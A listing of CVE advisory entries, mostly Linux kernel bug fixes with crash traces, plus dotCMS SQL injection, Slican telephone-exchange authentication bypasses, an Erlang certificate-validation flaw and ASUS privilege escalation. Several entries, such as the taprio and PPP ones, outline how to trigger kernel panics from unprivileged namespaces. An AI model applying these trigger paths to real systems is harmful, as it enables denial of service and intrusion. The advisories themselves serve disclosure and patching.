CVE-2025-71309	In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: fix deadlock in ni_read_folio_cmpr Syzbot reported a task hung in ni_readpage_cmpr (now ni_read_folio_cmpr). This is caused by a lock inversion deadlock involving the inode mutex (ni_lock) and page locks. Scenario: 1. Task A enters ntfs_read_folio() for page X. It acquires ni_lock. 2. Task A calls ni_read_folio_cmpr(), which attempts to lock all pages in the compressed frame (including page Y). 3. Concurrently, Task B (e.g., via readahead) has locked page Y and calls ntfs_read_folio(). 4. Task B waits for ni_lock (held by A). 5. Task A waits for page Y lock (held by B). -> DEADLOCK. The fix is to restructure locking: do not take ni_lock in ntfs_read_folio(). Instead, acquire ni_lock inside ni_read_folio_cmpr() ONLY AFTER all required page locks for the frame have been successfully acquired. This restores the correct lock ordering (Page Lock -> ni_lock) consistent with VFS. [almaz.alexandrovich@paragon-software.com: ni_readpage_cmpr was renamed to ni_read_folio_cmpr]	N/A	More Details
CVE-2025-71311	In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: Initialize new folios before use KMSAN reports an uninitialized value in longest_match_std(), invoked from ntfs_compress_write(). When new folios are allocated without being marked uptodate and ni_read_frame() is skipped because the caller expects the frame to be completely overwritten, some reserved folios may remain only partially filled, leaving the rest memory uninitialized.	N/A	More Details
CVE-2025-71312	In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: fix ntfs_mount_options leak in ntfs_fill_super() In ntfs_fill_super(), the fc->fs_private pointer is set to NULL without first freeing the memory it points to. This causes the subsequent call to ntfs_fs_free() to skip freeing the ntfs_mount_options structure. This results in a kmemleak report: unreferenced object 0xff1100015378b800 (size 32): comm "mount", pid 582, jiffies 4294890685 hex dump (first 32 bytes): 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..... 00 00 00 00 00 00 00 00 ed ff ed ff 00 04 00 00 ..... backtrace (crc ed541d8c): __kmalloc_cache_noprof+0x424/0x5a0 __ntfs_init_fs_context+0x47/0x590 alloc_fs_context+0x5d8/0x960 __x64_sys_fsopen+0xb1/0x190 do_syscall_64+0x50/0x1f0 entry_SYSCALL_64_after_hwframe+0x76/0x7e This issue can be reproduced using the following commands: fallocate -l 100M test.file mount test.file /tmp/test Since sbi->options is duplicated from fc->fs_private and does not directly use the memory allocated for fs_private, it is unnecessary to set fc->fs_private to NULL. Additionally, this patch simplifies the code by utilizing the helper function put_mount_options() instead of open-coding the cleanup logic.	N/A	More Details
CVE-2026-46203	In the Linux kernel, the following vulnerability has been resolved: spi: cadence-quadspi: fix unclocked access on unbind Make sure that the controller is runtime resumed before disabling it during driver unbind to avoid an unclocked register access. This issue was flagged by Sashiko when reviewing a controller deregistration fix.	N/A	More Details
CVE-2026-8054	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') in the Publish Audit API endpoints (/api/auditPublishing/get and /api/auditPublishing/getAll) in dotCMS Core 25.11.04-1 through 26.04.28-02 allows remote unauthenticated attackers to read, modify, or destroy arbitrary database content. The endpoints did not enforce authentication and accepted unsanitized input used in dynamically constructed SQL. The fix in dotCMS Core 26.04.28-03 requires an authenticated backend user with the publishing-queue portlet permission. LTS releases are not affected as the vulnerable code path was never backported.	N/A	More Details
CVE-2026-46202	In the Linux kernel, the following vulnerability has been resolved: HID: appletb-kbd: run inactivity autodim from workqueues The autodim code in hid-appletb-kbd takes backlight_device->ops_lock via backlight_device_set_brightness() -> mutex_lock() from two different atomic contexts: * appletb_inactivity_timer() is a struct timer_list callback, so it runs in softirq context. Every expiry triggers BUG: sleeping function called from invalid context at kernel/locking/mutex.c:591 Call Trace: <IRQ> __might_resched __mutex_lock backlight_device_set_brightness appletb_inactivity_timer call_timer_fn run_timer_softirq * reset_inactivity_timer() is called from appletb_kbd_hid_event() and appletb_kbd_inp_event(). On real USB hardware these run in softirq/IRQ context (URB completion and input-event dispatch). When the Touch Bar has already been dimmed or turned off, the reset path calls backlight_device_set_brightness() directly to restore brightness, producing the same warning. Both call sites hit the same mutex_lock()-from-atomic bug. Fix them together by moving the blocking work onto the system workqueue: * Convert the inactivity timer from struct timer_list to struct delayed_work; the callback (appletb_inactivity_work) now runs in process context where mutex_lock() is legal. * Add a dedicated struct work_struct restore_brightness_work and have reset_inactivity_timer() schedule it instead of calling backlight_device_set_brightness() directly. Cancel both works synchronously during driver tear-down alongside the existing backlight reference drop. The semantics are unchanged (same delays, same state transitions on dim, turn-off and user activity); only the execution context of the sleeping call changes. The timer field and callback are renamed to match their new type; reset_inactivity_timer() keeps its name because it is invoked from input event paths that read naturally as "reset the inactivity timer".	N/A	More Details
CVE-	Slican telephone exchanges allow administrative protocol authentication bypass. An attacker can bypass the need to enter login credentials by executing the appropriate command. This issue was fixed in versions below: - NCP: version 1.24.0250 - IPx series: version 6.61.0040 - CCT-1668: version 6.56.0430 - MAC-6400:		

2026-35087	version 6.56.0430 - CXS-0424: version 6.30.0510 The issue STILL EXISTS in End-Of-Life telephone exchanges in versions 4.xx and below: - CCT-1668 (CCT1CPU) - MAC-6400 - CXS-0424 These products were discontinued in 2011 and 2012 and and will not receive updates. These products require a hardware update in order to receive a software update. The vendor recommends that users of these devices contact the their service department directly to determine the options for upgrading.	N/A	More Details
CVE-2026-35089	In Slican telephone exchanges secure key is generated in a predictable manner using properties of the telephone exchange which can be obtained without authentication. An unauthenticated attacker can deduce the secure key and obtain admin credentials. This issue was fixed in versions below: - IPx series: version 6.61.0040 - CCT-1668: version 6.56.0430 - MAC-6400: version 6.56.0430 - CXS-0424: version 6.30.0510 The issue STILL EXISTS in End-Of-Life telephone exchanges in versions 4.xx and below: - CCT-1668 (CCT1CPU) - MAC-6400 - CXS-0424 These products were discontinued in 2011 and 2012 and and will not receive updates. These products require a hardware update in order to receive a software update. The vendor recommends that users of these devices contact the their service department directly to determine the options for upgrading.	N/A	More Details
CVE-2026-46200	In the Linux kernel, the following vulnerability has been resolved: spi: mpc52xx: fix controller deregistration Make sure to deregister the controller before disabling and releasing underlying resources like interrupts and gpios during driver unbind.	N/A	More Details
CVE-2026-45930	In the Linux kernel, the following vulnerability has been resolved: net: mctp: ensure our nlmsg responses are initialised Syed Faraz Abrar (@farazsth98) from Zellic, and Pumpkin (@u1f383) from DEVCORE Research Team working with Trend Micro Zero Day Initiative report that a RTM_GETNEIGH will return uninitalised data in the pad bytes of the ndmsg data. Ensure we're initialising the netlink data to zero, in the link, addr and neigh response messages.	N/A	More Details
CVE-2026-35090	In Slican telephone exchanges it is possible to manage the control panel remotely. An unauthenticated attacker can connect to the modem via a telephone with a specific caller ID. This allows them to bypass admin authentication and gain full access to the service protocol and configuration panel. This vulnerability is independent of the telephone exchanges configuration. If remote access is disabled, calling with this caller ID will temporarily enable it. This issue was fixed in versions below: - IPL-256: version 6.61.0040 - IPM-032: version 6.61.0040 - CCT-1668: version 6.56.0430 - MAC-6400: version 6.56.0430 - CXS-0424: version 6.30.0510 The issue STILL EXISTS in End-Of-Life telephone exchanges in versions 4.xx and below: - CCT-1668 (CCT1CPU) - MAC-6400 - CXS-0424 These products were discontinued in 2011 and 2012 and and will not receive updates. These products require a hardware update in order to receive a software update. The vendor recommends that users of these devices contact the their service department directly to determine the options for upgrading.	N/A	More Details
CVE-2026-42789	Improper Following of a Certificate's Chain of Trust vulnerability in Erlang OTP public_key (pubkey_cert module) allows a non-CA certificate to be accepted as an intermediate issuer, enabling certificate chain forgery. In lib/public_key/src/pubkey_cert.erl, pubkey_cert:validate_extensions/7 contains two flaws that together allow a certificate with basicConstraints cA:false and no keyUsage extension to be used as an intermediate issuer in a chain passed to public_key:pkix_path_validation/3: the cA:false clause recurses into the remaining extensions without rejecting the certificate when it is in issuer position, and the keyUsage check only fires when the extension is present, so a certificate lacking keyUsage entirely bypasses the keyCertSign enforcement. Any party holding an end-entity certificate with basicConstraints cA:false and no keyUsage extension, issued by any CA in the victim's trust store, can use that certificate's private key to sign forged leaf certificates for arbitrary identities. public_key:pkix_path_validation/3 accepts the resulting chain, and by extension every TLS or mTLS endpoint built on the OTP ssl application that relies on the default verifier is affected, including server identity verification on the client side and client certificate verification on mTLS servers. This issue affects OTP from OTP 17.0 before OTP 26.2.5.21, 27.3.4.12, 28.5.0.1, and 29.0.1 corresponding to public_key from 0.22 before 1.15.1.7, 1.17.1.3, 1.20.3.1, and 1.21.1.	N/A	More Details
CVE-2026-46194	In the Linux kernel, the following vulnerability has been resolved: f2fs: fix node_cnt race between extent node destroy and writeback f2fs_destroy_extent_node() does not set FI_NO_EXTENT before clearing extent nodes. When called from f2fs_drop_inode() with I_SYNC set, concurrent kworker writeback can insert new extent nodes into the same extent tree, racing with the destroy and triggering f2fs_bug_on() in __destroy_extent_node(). The scenario is as follows: drop inode writeback - iput - f2fs_drop_inode // I_SYNC set - f2fs_destroy_extent_node - __destroy_extent_node - while (node_cnt) { write_lock(&et->lock) __free_extent_tree write_unlock(&et->lock) - __writeback_single_inode - f2fs_outplace_write_data - f2fs_update_read_extent_cache - __update_extent_tree_range // FI_NO_EXTENT not set, // insert new extent node } // node_cnt == 0, exit while - f2fs_bug_on(node_cnt) // node_cnt > 0 Additionally, __update_extent_tree_range() only checks FI_NO_EXTENT for EX_READ type, leaving EX_BLOCK_AGE updates completely unprotected. This patch set FI_NO_EXTENT under et->lock in __destroy_extent_node(), consistent with other callers (__update_extent_tree_range and __drop_extent_tree) and check FI_NO_EXTENT for both EX_READ and EX_BLOCK_AGE tree.	N/A	More Details
CVE-2026-45847	In the Linux kernel, the following vulnerability has been resolved: net: remove WARN_ON_ONCE when accessing forward path array Although unlikely, recent support for IPIP tunnels increases chances of reaching this WARN_ON_ONCE if userspace manages to build a sufficiently long forward path. Remove it.	N/A	More Details

CVE-2026-45848	In the Linux kernel, the following vulnerability has been resolved: apparmor: fix NULL sock in aa_sock_file_perm Deal with the potential that sock and sock-sk can be NULL during socket setup or teardown. This could lead to an oops. The fix for NULL pointer dereference in __unix_needs_revalidation shows this is at least possible for af_unix sockets. While the fix for af_unix sockets applies for newer mediation this is still the fall back path for older af_unix mediation and other sockets, so ensure it is covered.	N/A	More Details
CVE-2026-8070	Incorrect permission assignment for a critical resource in Armoury Crate allows a local user to bypass the driver’s validation mechanism, resulting in unauthorized read and write access to physical memory.Refer to the ' Security Update for Armoury Crate App ' section on the ASUS Security Advisory for more information.	N/A	More Details
CVE-2025-71303	In the Linux kernel, the following vulnerability has been resolved: accel/amdxdna: Fix race condition when checking rpm_on When autosuspend is triggered, driver rpm_on flag is set to indicate that a suspend/resume is already in progress. However, when a userspace application submits a command during this narrow window, amdxdna_pm_resume_get() may incorrectly skip the resume operation because the rpm_on flag is still set. This results in commands being submitted while the device has not actually resumed, causing unexpected behavior. The set_dpm() is called by suspend/resume, it relied on rpm_on flag to avoid calling into rpm suspend/resume recursivly. So to fix this, remove the use of the rpm_on flag entirely. Instead, introduce aie2_pm_set_dpm() which explicitly resumes the device before invoking set_dpm(). With this change, set_dpm() is called directly inside the suspend or resume execution path. Otherwise, aie2_pm_set_dpm() is called.	N/A	More Details
CVE-2026-7480	An Incorrect Permission Assignment for Critical Resource vulnerability in ASUS System Control Interface allows a local user to elevate privileges to SYSTEM and execute arbitrary code via a crafted RPC call that bypass the validation mechanism. Refer to the 'Security Update for ASUS System Control Interface' section on the ASUS Security Advisory for more information.	N/A	More Details
CVE-2026-46214	In the Linux kernel, the following vulnerability has been resolved: vsock/virtio: fix accept queue count leak on transport mismatch virtio_transport_recv_listen() calls sk_acceptq_added() before vsock_assign_transport(). If vsock_assign_transport() fails or selects a different transport, the error path returns without calling sk_acceptq_removed(), permanently incrementing sk_ack_backlog. After approximately backlog+1 such failures, sk_acceptq_is_full() returns true, causing the listener to reject all new connections. Fix by moving sk_acceptq_added() to after the transport validation, matching the pattern used by vmci_transport and hyperv_transport.	N/A	More Details
CVE-2026-46229	In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: Clear VRAM on allocation to prevent stale data exposure KFD VRAM allocations set AMDGPU_GEM_CREATE_VRAM_WIPE_ON_RELEASE but not AMDGPU_GEM_CREATE_VRAM_CLEARED, leaving freshly allocated VRAM with stale data from prior use observable by compute kernels. The GEM ioctl path already sets VRAM_CLEARED for all userspace allocations via amdgpu_gem_create_ioctl() and amdgpu_mode_dumb_create(). The KFD path was missing this flag, allowing stale page table remnants to leak into user buffers. This causes crashes in RCCL P2P transport where non-zero data in ptrExchange/head/tail fields corrupts the protocol handshake.	N/A	More Details
CVE-2026-46228	In the Linux kernel, the following vulnerability has been resolved: spi: ch341: fix devres lifetime USB drivers bind to USB interfaces and any device managed resources should have their lifetime tied to the interface rather than parent USB device. This avoids issues like memory leaks when drivers are unbound without their devices being physically disconnected (e.g. on probe deferral or configuration changes). Fix the controller and driver data lifetime so that they are released on driver unbind. Note that this also makes sure that the SPI controller is placed correctly under the USB interface in the device tree.	N/A	More Details
CVE-2026-46226	In the Linux kernel, the following vulnerability has been resolved: spi: fsl: fix controller deregistration Make sure to deregister the controller before releasing underlying resources like DMA during driver unbind.	N/A	More Details
CVE-2026-45837	In the Linux kernel, the following vulnerability has been resolved: bpf: Fix use-after-free in arena_vm_close on fork arena_vm_open() only bumps vml->mmap_count but never registers the child VMA in arena->vma_list. The vml->vma always points at the parent VMA, so after parent munmap the pointer dangles. If the child then calls bpf_arena_free_pages(), zap_pages() reads the stale vml->vma triggering use-after-free. Fix this by preventing the arena VMA from being inherited across fork with VM_DONTCOPY, and preventing VMA splits via the may_split callback. Also reject mremap with a .mremap callback returning -EINVAL. A same-size mremap(MREMAP_FIXED) on the full arena VMA reaches copy_vma() through the following path: check_prep_vma() - returns 0 early: new_len == old_len skips VM_DONTEXPAND check prep_move_vma() - vm_start == old_addr and vm_end == old_addr + old_len so may_split is never called move_vma() copy_vma_and_data() copy_vma() vm_area_dup() - copies vm_private_data (vml pointer) vm_ops->open() - bumps vml->mmap_count vm_ops->mremap() - returns -EINVAL, rollback unmaps new VMA The refcount ensures the rollback's arena_vm_close does not free the vml shared with the original VMA.	N/A	More Details
CVE-2026-45838	In the Linux kernel, the following vulnerability has been resolved: bpf: fix end-of-list detection in cgroup_storage_get_next_key() list_next_entry() never returns NULL -- when the current element is the last entry it wraps to the list head via container_of(). The subsequent NULL check is therefore dead code and get_next_key() never returns -ENOENT for the last element, instead reading storage->key from a bogus pointer that aliases internal map fields and copying the result to userspace. Replace it with list_entry_is_head() so the function correctly returns -ENOENT when there are no more entries.	N/A	More Details

CVE-2026-45839	In the Linux kernel, the following vulnerability has been resolved: bpf: reject negative CO-RE accessor indices in bpf_core_parse_spec() CO-RE accessor strings are colon-separated indices that describe a path from a root BTF type to a target field, e.g. "0:1:2" walks through nested struct members. bpf_core_parse_spec() parses each component with sscanf("%d"), so negative values like -1 are silently accepted. The subsequent bounds checks (access_idx >= btf_vlen(t)) only guard the upper bound and always pass for negative values because C integer promotion converts the __u16 btf_vlen result to int, making the comparison (int)(-1) >= (int)(N) false for any positive N. When -1 reaches btf_member_bit_offset() it gets cast to u32 0xffffffff, producing an out-of-bounds read far past the members array. A crafted BPF program with a negative CO-RE accessor on any struct that exists in vmlinux BTF (e.g. task_struct) crashes the kernel deterministically during BPF_PROG_LOAD on any system with CONFIG_DEBUG_INFO_BTF=y (default on major distributions). The bug is reachable with CAP_BPF: BUG: unable to handle page fault for address: ffffed11818b6626 #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page Oops: Oops: 0000 [#1] SMP KASAN NOPTI CPU: 0 UID: 0 PID: 85 Comm: poc Not tainted 7.0.0-rc6 #18 PREEMPT(full) RIP: 0010:bpf_core_parse_spec (tools/lib/bpf/relo_core.c:354) RAX: 00000000ffffffff Call Trace: <TASK> bpf_core_calc_relo_insn (tools/lib/bpf/relo_core.c:1321) bpf_core_apply (kernel/bpf/btf.c:9507) check_core_relo (kernel/bpf/verifier.c:19475) bpf_check (kernel/bpf/verifier.c:26031) bpf_prog_load (kernel/bpf/syscall.c:3089) __sys_bpf (kernel/bpf/syscall.c:6228) </TASK> CO-RE accessor indices are inherently non-negative (struct member index, array element index, or enumerator index), so reject them immediately after parsing.	N/A	More Details
CVE-2026-45840	In the Linux kernel, the following vulnerability has been resolved: openvswitch: cap upcall PID array size and pre-size vport replies The vport netlink reply helpers allocate a fixed-size skb with nlmsg_new(NLMSG_DEFAULT_SIZE, ...) but serialize the full upcall PID array via ovs_vport_get_upcall_portids(). Since ovs_vport_set_upcall_portids() accepts any non-zero multiple of sizeof(u32) with no upper bound, a CAP_NET_ADMIN user can install a PID array large enough to overflow the reply buffer, causing nla_put() to fail with -EMSGSIZE and hitting BUG_ON(err < 0). On systems with unprivileged user namespaces enabled (e.g., Ubuntu default), this is reachable via unshare -Urn since OVS vport mutation operations use GENL_UNS_ADMIN_PERM. kernel BUG at net/openvswitch/datapath.c:2414! Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI CPU: 1 UID: 0 PID: 65 Comm: poc Not tainted 7.0.0-rc7-00195-geb216e422044 #1 RIP: 0010:ovs_vport_cmd_set+0x34c/0x400 Call Trace: <TASK> genl_family_rcv_msg_doit (net/netlink/genetlink.c:1116) genl_rcv_msg (net/netlink/genetlink.c:1194) netlink_rcv_skb (net/netlink/af_netlink.c:2550) genl_rcv (net/netlink/genetlink.c:1219) netlink_unicast (net/netlink/af_netlink.c:1344) netlink_sendmsg (net/netlink/af_netlink.c:1894) __sys_sendto (net/socket.c:2206) __x64_sys_sendto (net/socket.c:2209) do_syscall_64 (arch/x86/entry/syscall_64.c:63) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130) </TASK> Kernel panic - not syncing: Fatal exception Reject attempts to set more PIDs than nr_cpu_ids in ovs_vport_set_upcall_portids(), and pre-compute the worst-case reply size in ovs_vport_cmd_msg_size() based on that bound, similar to the existing ovs_dp_cmd_msg_size(). nr_cpu_ids matches the cap already used by the per-CPU dispatch configuration on the datapath side (ovs_dp_cmd_fill_info() serialises at most nr_cpu_ids PIDs), so the two sides stay consistent.	N/A	More Details
CVE-2026-46225	In the Linux kernel, the following vulnerability has been resolved: spi: rspi: fix controller deregistration Make sure to deregister the controller before releasing underlying resources like DMA during driver unbind.	N/A	More Details
CVE-2026-45841	In the Linux kernel, the following vulnerability has been resolved: netfilter: nfnetlink_osf: fix divide-by-zero in OSF_WSS_MODULO nf_osf_match_one() computes ctx->window % f->wss.val in the OSF_WSS_MODULO branch with no guard for f->wss.val == 0. A CAP_NET_ADMIN user can add such a fingerprint via nfnetlink; a subsequent matching TCP SYN divides by zero and panics the kernel. Reject the bogus fingerprint in nfnl_osf_add_callback() above the per-option for-loop. f->wss is per-fingerprint, not per-option, so the check must run regardless of f->opt_num (including 0). Also reject wss.wc >= OSF_WSS_MAX; nf_osf_match_one() already treats that as "should not happen". Crash: Oops: divide error: 0000 [#1] SMP KASAN NOPTI RIP: 0010:nf_osf_match_one (net/netfilter/nfnetlink_osf.c:98) Call Trace: <IRQ> nf_osf_match (net/netfilter/nfnetlink_osf.c:220) xt_osf_match_packet (net/netfilter/xt_osf.c:32) ipt_do_table (net/ipv4/netfilter/ip_tables.c:348) nf_hook_slow (net/netfilter/core.c:622) ip_local_deliver (net/ipv4/ip_input.c:265) ip_rcv (include/linux/skbuff.h:1162) __netif_receive_skb_one_core (net/core/dev.c:6181) process_backlog (net/core/dev.c:6642) __napi_poll (net/core/dev.c:7710) net_rx_action (net/core/dev.c:7945) handle_softirqs (kernel/softirq.c:622)	N/A	More Details
CVE-2026-46224	In the Linux kernel, the following vulnerability has been resolved: drm/xe: Fix bo leak in xe_dma_buf_init_obj() on allocation failure When drm_gpuvm_resv_object_alloc() fails, the pre-allocated storage bo is not freed. Add xe_bo_free(storage) before returning the error. xe_dma_buf_init_obj() calls xe_bo_init_locked(), which frees the bo on error. Therefore, xe_dma_buf_init_obj() must also free the bo on its own error paths. Otherwise, since xe_gem_prime_import() cannot distinguish whether the failure originated from xe_dma_buf_init_obj() or from xe_bo_init_locked(), it cannot safely decide whether the bo should be freed. Add comments documenting the ownership semantics: on success, ownership of storage is transferred to the returned drm_gem_object; on failure, storage is freed before returning. v2: Add comments to explain the free logic. (cherry picked from commit 78a6c5f899f22338bbf48b44fb8950409c5a69b9)	N/A	More Details
	In the Linux kernel, the following vulnerability has been resolved: slip: reject VJ receive packets on instances with no rstate array slhc_init() accepts rslots == 0 as a valid configuration, with the documented meaning of		

CVE-2026-45842	'no receive compression'. In that case the allocation loop in slhc_init() is skipped, so comp->rstate stays NULL and comp->rslot_limit stays 0 (from the kzalloc of struct slcompress). The receive helpers do not defend against that configuration. slhc_uncompress() dereferences comp->rstate[x] when the VJ header carries an explicit connection ID, and slhc_remember() later assigns cs = &comp->rstate[...] after only comparing the packet's slot number to comp->rslot_limit. Because rslot_limit is 0, slot 0 passes the range check, and the code dereferences a NULL rstate. The configuration is reachable in-tree through PPP. PPPIOCSMAXCID stores its argument in a signed int, and (val >> 16) uses arithmetic shift. Passing 0xffff0000 therefore sign-extends to -1, so val2 + 1 is 0 and ppp_generic.c ends up calling slhc_init(0, 1). Because /dev/ppp open is gated by ns_capable(CAP_NET_ADMIN), the whole path is reachable from an unprivileged user namespace. Once the malformed VJ state is installed, any inbound VJ-compressed or VJ-uncompressed frame that selects slot 0 crashes the kernel in softirq context: Oops: general protection fault, probably for non-canonical address 0xdfffffc0000000000: 0000 [#1] SMP KASAN NOPTI KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007] RIP: 0010:slhc_uncompress (drivers/net/slip/slhc.c:519) Call Trace: <TASK> ppp_receive_nonmp_frame (drivers/net/ppp/ppp_generic.c:2466) ppp_input (drivers/net/ppp/ppp_generic.c:2359) ppp_async_process (drivers/net/ppp/ppp_async.c:492) tasklet_action_common (kernel/softirq.c:926) handle_softirqs (kernel/softirq.c:623) run_ksoftirqd (kernel/softirq.c:1055) smpboot_thread_fn (kernel/smpboot.c:160) kthread (kernel/kthread.c:436) ret_from_fork (arch/x86/kernel/process.c:164) </TASK> Reject the receive side on such instances instead of touching rstate. slhc_uncompress() falls through to its existing 'bad' label, which bumps sls_i_error and enters the toss state. slhc_remember() mirrors that with an explicit sls_i_error increment followed by slhc_toss(); the sls_i_runt counter is not used here because a missing rstate is an internal configuration state, not a runt packet. The transmit path is unaffected: the only in-tree caller that picks rslots from userspace (ppp_generic.c) still supplies tslots >= 1, and slip.c always calls slhc_init(16, 16), so comp->tstate remains valid and slhc_compress() continues to work.	N/A	More Details
CVE-2026-45844	In the Linux kernel, the following vulnerability has been resolved: netfilter: arp_tables: fix IEEE1394 ARP payload parsing Weiming Shi says: "arp_packet_match() unconditionally parses the ARP payload assuming two hardware addresses are present (source and target). However, IPv4-over-IEEE1394 ARP (RFC 2734) omits the target hardware address field, and arp_hdr_len() already accounts for this by returning a shorter length for ARPHRD_IEEE1394 devices. As a result, on IEEE1394 interfaces arp_packet_match() advances past a nonexistent target hardware address and reads the wrong bytes for both the target device address comparison and the target IP address. This causes arptables rules to match against garbage data, leading to incorrect filtering decisions: packets that should be accepted may be dropped and vice versa. The ARP stack in net/ipv4/arp.c (arp_create and arp_process) already handles this correctly by skipping the target hardware address for ARPHRD_IEEE1394. Apply the same pattern to arp_packet_match()." Mangle the original patch to always return 0 (no match) in case user matches on the target hardware address which is never present in IEEE1394. Note that this returns 0 (no match) for either normal and inverse match because matching in the target hardware address in ARPHRD_IEEE1394 has never been supported by arptables. This is intentional, matching on the target hardware address should never evaluate true for ARPHRD_IEEE1394. Moreover, adjust arpt_mangle to drop the packet too as AI suggests: In arpt_mangle, the logic assumes a standard ARP layout. Because IEEE1394 (FireWire) omits the target hardware address, the linear pointer arithmetic miscalculates the offset for the target IP address. This causes mangling operations to write to the wrong location, leading to packet corruption. To ensure safety, this patch drops packets (NF_DROP) when mangling is requested for these fields on IEEE1394 devices, as the current implementation cannot correctly map the FireWire ARP payload. This omits both mangling target hardware and IP address. Even if IP address mangling should be possible in IEEE1394, this would require to adjust arpt_mangle offset calculation, which has never been supported. Based on patch from Weiming Shi <bestswngs@gmail.com>.	N/A	More Details
CVE-2026-45845	In the Linux kernel, the following vulnerability has been resolved: net/sched: taprio: fix NULL pointer dereference in class dump When a TAPRIO child qdisc is deleted via RTM_DELQDISC, taprio_graft() is called with new == NULL and stores NULL into q->qdiscs[cl - 1]. Subsequent RTM_GETTCLASS dump operations walk all classes via taprio_walk() and call taprio_dump_class(), which calls taprio_leaf() returning the NULL pointer, then dereferences it to read child->handle, causing a kernel NULL pointer dereference. The bug is reachable with namespace-scoped CAP_NET_ADMIN on any kernel with CONFIG_NET_SCH_TAPRIO enabled. On systems with unprivileged user namespaces enabled, an unprivileged local user can trigger a kernel panic by creating a taprio qdisc inside a new network namespace, grafting an explicit child qdisc, deleting it, and requesting a class dump. The RTM_GETTCLASS dump itself requires no capability. Oops: general protection fault, probably for non-canonical address 0xdfffffc0000000007: 0000 [#1] SMP KASAN NOPTI KASAN: null-ptr-deref in range [0x0000000000000038-0x000000000000003f] RIP: 0010:taprio_dump_class (net/sched/sch_taprio.c:2478) Call Trace: <TASK> tc_fill_tclass (net/sched/sch_api.c:1966) qdisc_class_dump (net/sched/sch_api.c:2326) taprio_walk (net/sched/sch_taprio.c:2514) tc_dump_tclass_qdisc (net/sched/sch_api.c:2352) tc_dump_tclass_root (net/sched/sch_api.c:2370) tc_dump_tclass (net/sched/sch_api.c:2431) rtnl_dumpit (net/core/rtnetlink.c:6864) netlink_dump (net/netlink/af_netlink.c:2325) rtnetlink_rcv_msg (net/core/rtnetlink.c:6959) netlink_rcv_skb (net/netlink/af_netlink.c:2550) </TASK> Fix this by substituting &noop_qdisc when new is NULL in taprio_graft(), a common pattern used by other qdiscs (e.g., multiq_graft()) to ensure the q->qdiscs[] slots are never NULL. This makes control-plane dump paths safe without requiring individual NULL checks. Since the data-plane paths (taprio_enqueue and taprio_dequeue_from_txq) previously had explicit NULL guards that would drop/skip the packet cleanly, update those checks to test for &noop_qdisc instead. Without this, packets would reach taprio_enqueue_one() which increments the root qdisc's qlen and backlog before calling	N/A	More Details

	the child's enqueue; noop_qdisc drops the packet but those counters are never rolled back, permanently inflating the root qdisc's statistics. After this change *old can be a valid qdisc, NULL, or &noop_qdisc. Only call qdisc_put(*old) in the first case to avoid decreasing noop_qdisc's refcount, which was never increased.		
CVE-2026-45846	In the Linux kernel, the following vulnerability has been resolved: bareudp: fix NULL pointer dereference in bareudp_fill_metadata_dst() bareudp_fill_metadata_dst() passes bareudp->sock to udp_tunnel6_dst_lookup() in the IPv6 path without a NULL check. The socket is only created in bareudp_open() and NULLed in bareudp_stop(), so calling this function while the device is down triggers a NULL dereference via sock->sk. BUG: kernel NULL pointer dereference, address: 0000000000000018 RIP: 0010:udp_tunnel6_dst_lookup (net/ipv6/ip6_udp_tunnel.c:160) Call Trace: <TASK> bareudp_fill_metadata_dst (drivers/net/bareudp.c:532) do_execute_actions (net/openvswitch/actions.c:901) ovs_execute_actions (net/openvswitch/actions.c:1589) ovs_packet_cmd_execute (net/openvswitch/datapath.c:700) genl_family_rcv_msg_doit (net/netlink/genetlink.c:1114) genl_rcv_msg (net/netlink/genetlink.c:1209) netlink_rcv_skb (net/netlink/af_netlink.c:2550) </TASK> Add a NULL check returning -ESHUTDOWN, consistent with the xmit paths in the same driver.	N/A	More Details
CVE-2026-46223	In the Linux kernel, the following vulnerability has been resolved: cgroup: Defer css percpu_ref kill on rmdir until cgroup is depopulated A chain of commits going back to v7.0 reworked rmdir to satisfy the controller invariant that a subsystem's ->css_offline() must not run while tasks are still doing kernel-side work in the cgroup. [1] d245698d727a ("cgroup: Defer task cgroup unlink until after the task is done switching out") [2] a72f73c4dd9b ("cgroup: Don't expose dead tasks in cgroup") [3] 1b164b876c36 ("cgroup: Wait for dying tasks to leave on rmdir") [4] 4c56a8ac6869 ("cgroup: Fix cgroup_drain_dying() testing the wrong condition") [5] 13e786b64bd3 ("cgroup: Increment nr_dying_subsys_* from rmdir context") [1] moved task cset unlink from do_exit() to finish_task_switch() so a task's cset link drops only after the task has fully stopped scheduling. That made tasks past exit_signals() linger on cset->tasks until their final context switch, which led to a series of problems as what userspace expected to see after rmdir diverged from what the kernel needs to wait for. [2]-[5] tried to bridge that divergence: [2] filtered the exiting tasks from cgroup.procs; [3] had rmdir(2) sleep in TASK_UNINTERRUPTIBLE for them; [4] fixed the wait's condition; [5] made nr_dying_subsys_* visible synchronously. The cgroup_drain_dying() wait in [3] turned out to be a dead end. When the rmdir caller is also the reaper of a zombie that pins a pidns teardown (e.g. host PID 1 systemd reaping orphan pids that were re-parented to it during the same teardown), rmdir blocks in TASK_UNINTERRUPTIBLE waiting for those pids to free, the pids can't free because PID 1 is the reaper and it's stuck in rmdir, and the system A-A deadlocks. No internal lock ordering breaks this; the wait itself is the bug. The css killing side that drove the original reorder, however, can be made cleanly asynchronous: ->css_offline() is already async, run from css_killed_work_fn() driven by percpu_ref_kill_and_confirm(). The fix is to make that chain start only after all tasks have left the cgroup. rmdir's user-visible side then returns as soon as cgroup.procs and friends are empty, while ->css_offline() still runs only after the cgroup is fully drained. Verified by the original reproducer (pidns teardown + zombie reaper, runs under vng) which hangs vanilla and succeeds here, and by per-commit deterministic repros for [2], [3], [4], [5] with a boot parameter that widens the post-exit_signals() window so each state is reliably reachable. Some stress tests on top of that. cgroup_apply_control_disable() has the same shape of pre-existing race: when a controller is disabled via subtree_control, kill_css() ran synchronously while tasks past exit_signals() could still be linked to the cgroup's csets, and ->css_offline() could fire before they drained. This patch preserves the existing synchronous behavior at that call site (kill_css_sync() + kill_css_finish() back-to-back) and a follow-up patch will defer kill_css_finish() there using a per-css trigger. This seems like the right approach and I don't see problems with it. The changes are somewhat invasive but not excessively so, so backporting to -stable should be 